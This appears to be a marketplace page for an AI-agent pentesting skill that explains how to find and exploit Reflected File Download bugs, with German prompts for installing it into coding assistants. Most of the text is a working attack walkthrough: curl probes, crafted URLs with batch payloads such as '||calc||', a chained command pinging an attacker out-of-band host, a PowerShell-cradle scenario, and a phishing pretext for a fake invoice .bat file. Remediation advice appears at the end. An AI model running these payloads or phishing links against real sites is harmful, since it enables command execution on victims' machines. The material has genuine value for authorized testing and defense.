Identifying and exploiting Reflected File Download (RFD) where an endpoint reflects attacker-controlled input into a downloadable response with an attacker-controlled filename and extension, enabling command execution on the victim's machine when the file is run.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Identifying and exploiting Reflected File Download (RFD) where an endpoint reflects attacker-controlled input into a downloadable response with an attacker-controlled filename and extension, enabling command execution on the victim's machine when the file is run.
During authorized penetration tests of applications that reflect user input into responses (especially JSON/JSONP APIs)
When an endpoint accepts a value (callback, query param, search term, username) and echoes it into the response body
When the URL path or a parameter can control the filename and extension the browser uses when saving the response
For validating that downloads are forced to safe filenames/extensions and proper Content-Disposition handling
During bug bounty programs targeting RFD, which chains reflection + content-disposition + permissive routing into client-side command execution
Prerequisites
Authorization: Written penetration testing agreement covering social-engineering/client-side payloads
A modern browser matrix: RFD behavior depends on browser download handling (test Chrome, Edge, and IE-derived behaviors)
A controlled victim VM (Windows): To safely detonate .bat/.cmd payloads
Burp Suite or curl: For crafting requests and inspecting Content-Type/Content-Disposition
Understanding of the three RFD conditions: reflection, filename control, and permissive content handling
Critical: Checks Most Often Missed
RFD requires three conditions to line up; testers miss it because each looks
harmless alone. Confirm all three, then weaponize:
(1) Reflection of raw input into the body. The endpoint must echo your
input largely unescaped — JSON APIs and JSONP callbacks are prime, e.g.
{"q":"<your input>"} or yourCallback({...}). The reflection does not need
to be HTML; it just needs to start the file with valid shell content.
(2) Filename + extension control via the URL. Browsers often derive the
saved filename from the last path segment. Append a path suffix like
/setup.bat or use ;/filename.bat, %2Ffilename.bat, or a
download=...bat param. Test whether the trailing path is ignored by routing
but used by the browser for the filename — the classic RFD gap.
(3) Permissive content handling. Missing or weak Content-Disposition
(no filename= / not attachment), served
without , or any setup that lets the browser save the response as an
executable extension.
Content-Type: application/json
nosniff
Leading command callback in the reflection. The reflected value must be
first on the line so the .bat is valid, e.g. prefix with ||calc|| or
;calc.exe&& — {"q":"||calc||..."} ignores the JSON wrapper as a label and
runs your command.
JSONP callback is the cleanest sink.?callback=||calc|| yields
||calc||({...}) which, saved as data.bat, executes calc. Always probe the
callback/jsonp/cb/func parameter.
Batched commands & quoting. Chain with &, &&, |, || and quote to
survive the reflected JSON punctuation, e.g.
||calc&&ping%20attacker|| to prove arbitrary execution.
X-Content-Type-Options: nosniff is NOT a full fix. It mitigates some
cases but RFD still works when the filename/extension is attacker-controlled
and the user runs the file. The real fix is forced filenames + attachment.
Confirm in a browser, not just curl. The vulnerability is the browser's
save-as-name and the user running it — curl confirms reflection and headers,
but detonation must be validated by actually downloading and executing.
Workflow
Step 1: Find Reflective Endpoints
Locate endpoints that echo input into the response body.
# Hunt for reflection in JSON / JSONP / API responses through Burp history.# Inject a unique marker and grep for it verbatim in the response:
MARK="rfdMARK1337"
curl -s "https://target.example.com/api/search?q=$MARK" | grep -o "$MARK"
curl -s "https://target.example.com/api/profile?name=$MARK" | grep -o "$MARK"# JSONP callbacks are ideal — the callback name is reflected at the very start:
curl -s "https://target.example.com/api/data?callback=$MARK" | head -c 200
# Expect: rfdMARK1337({"status":"ok", ...})# Note the response headers (this decides exploitability):
curl -s -D - "https://target.example.com/api/data?callback=$MARK" -o /dev/null
# Inspect: Content-Type, Content-Disposition, X-Content-Type-Options
Step 2: Test Filename / Extension Control
Determine whether the browser will save the response with an attacker-chosen executable name.
# (a) Trailing path segment — does routing ignore /anything.bat while the# browser uses it as the download filename?
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" -o /dev/null
# 200 OK with the same body => path suffix ignored by app, used by browser# (b) Matrix/semicolon and encoded-slash variants:
https://target.example.com/api/data;/setup.bat?callback=foo
https://target.example.com/api/data%2Fsetup.bat?callback=foo
https://target.example.com/api/data/x.bat;jsessionid=1?callback=foo
# (c) A download/filename parameter, if present:
https://target.example.com/export?download=invoice.bat&q=foo
# (d) Check Content-Disposition: if it sets a fixed safe filename you are# blocked; if absent or attacker-influenced, RFD is viable:
curl -s -D - "https://target.example.com/api/data/setup.bat?callback=foo" \
-o /dev/null | grep -i content-disposition
Step 3: Craft the Leading-Command Reflection
Make the reflected input the first bytes of a valid Windows batch file.
# JSONP: the callback is reflected first, so a batch command runs before the# parser ever sees the JSON. Saved as setup.bat, this launches calc:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Resulting downloaded file (setup.bat) content:# ||calc||({"status":"ok", ... })# cmd.exe treats ||calc|| as: (run nothing) || calc || (run nothing) => calc runs# Reflected-search variant where input lands inside JSON:
https://target.example.com/api/search/report.bat?q=;calc.exe&&
# File content:# {"q":";calc.exe&& ...","results":[]}# The leading ;calc.exe&& executes; the JSON remainder errors harmlessly.# Batched commands to prove arbitrary execution (use benign markers):
?callback=||calc%26%26ping%20-n%201%20attacker.oob.example||
# decoded: ||calc&&ping -n 1 attacker.oob.example||
Step 4: Confirm Download Behavior in a Browser
Validate that the browser saves the attacker-named file and that it executes.
# On the victim VM, open the crafted URL in the target browser:
https://target.example.com/api/data/setup.bat?callback=||calc||
# Observe:
# - The download is offered as "setup.bat" (attacker-controlled name)
# - Content-Disposition does not force a safe name / extension
# - Running the downloaded setup.bat launches calc.exe
# Record the browser + version, since download-naming heuristics differ:
# - Chrome/Edge: filename from final path segment when no C-D filename
# - IE/legacy: historically the most permissive for RFD
Step 5: Build the Delivery / Social-Engineering Chain
Demonstrate realistic impact: a link that appears to originate from the trusted domain.
# The exploit URL is on the TRUSTED target domain, which is what makes RFD
# convincing — the victim sees target.example.com and a familiar-looking file.
Phishing pretext example:
"Download your invoice: https://target.example.com/api/data/Invoice_2024.bat?callback=||calc||"
# Optional: URL-encode the payload and use a shortener-free, on-domain link so
# URL filters and the user both trust the origin. Document the full kill chain:
# trusted-domain link -> browser saves Invoice_2024.bat -> user runs it ->
# leading command executes -> attacker code runs in the user's context.
Key Concepts
Concept
Description
Reflection
The endpoint echoes attacker input into the response body (JSON/JSONP ideal)
Filename control
Browser derives the saved filename from a path segment or parameter the attacker sets
Permissive content
Missing/weak Content-Disposition or sniffable Content-Type allows saving as .bat/.cmd
Leading command
Reflected value placed first so the file is a valid batch script (`
JSONP sink
?callback= reflects at the very start of the body, the cleanest RFD primitive
Trusted-origin delivery
The exploit URL is on the real target domain, increasing victim trust
Batched commands
&, &&, |, || chain multiple commands within the reflected line
Confirm reflection, filename routing, and Content-Disposition/Content-Type headers
Chrome / Edge / legacy IE
Validate browser-specific download naming and execution behavior
Windows victim VM
Safely detonate .bat/.cmd payloads and confirm command execution
Burp Collaborator / interactsh
Confirm batched command callbacks (ping/nslookup to OOB host)
Common Scenarios
Scenario 1: JSONP API RFD
An analytics endpoint /api/data?callback=... reflects the callback at the start of the response. Requesting /api/data/update.bat?callback=||calc|| causes the browser to save update.bat; running it executes calc.exe in the victim's context.
Scenario 2: Search Reflection with Path-Based Filename
A search API reflects q into JSON and ignores trailing path segments. /api/search/report.bat?q=;powershell ...&& downloads report.bat whose leading command runs a PowerShell cradle.
Scenario 3: Missing Content-Disposition on Export
An export endpoint returns JSON with no Content-Disposition. The attacker controls the path filename, so /export/Statement.cmd?... saves as an executable that runs on double-click.
Scenario 4: Permissive Routing + nosniff Present
Even with X-Content-Type-Options: nosniff, attacker-controlled filename/extension plus user execution yields RFD, because the user runs the file regardless of MIME sniffing.
Output Format
## Reflected File Download Finding
**Vulnerability**: Reflected File Download (RFD)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/data/{filename}.bat?callback=...
**OWASP Category**: A03:2021 - Injection (client-side command execution)
### Reproduction Steps
1. Confirm reflection: GET /api/data?callback=rfdMARK1337 echoes the callback at body start
2. Confirm filename control: GET /api/data/setup.bat?callback=foo returns 200 with same body
3. Confirm headers: no Content-Disposition: attachment with a fixed filename
4. Weaponize: open https://target.example.com/api/data/setup.bat?callback=||calc|| in Chrome
5. Browser saves setup.bat; executing it launches calc.exe
### Conditions Met
| Condition | Status | Evidence |
|-----------|--------|----------|
| Reflection of input | Yes | callback echoed verbatim at body start |
| Filename/extension control | Yes | /setup.bat path segment used as download name |
| Permissive content handling | Yes | no attachment Content-Disposition; sniffable type |
### Downloaded File Content (setup.bat)
||calc||({"status":"ok","data":[]})
### Impact
- Arbitrary command execution on the victim's machine when the file is run
- Delivery from the trusted target.example.com origin defeats user URL scrutiny
- Batched commands confirmed via OOB callback (ping to attacker.oob.example)
### Recommendation
1. Force downloads with Content-Disposition: attachment; filename="data.json"
and a fixed, safe extension the application controls.
2. Reject or sanitize trailing path segments and download/filename parameters.
3. Refuse callback/JSONP names that are not strict identifiers
(^[a-zA-Z_$][a-zA-Z0-9_$]*$); disable JSONP in favor of CORS where possible.
4. Set Content-Type: application/json and X-Content-Type-Options: nosniff.
5. Prefix reflected JSON bodies with an anti-execution guard
(e.g. )]}',\n) so the file is never a valid script.
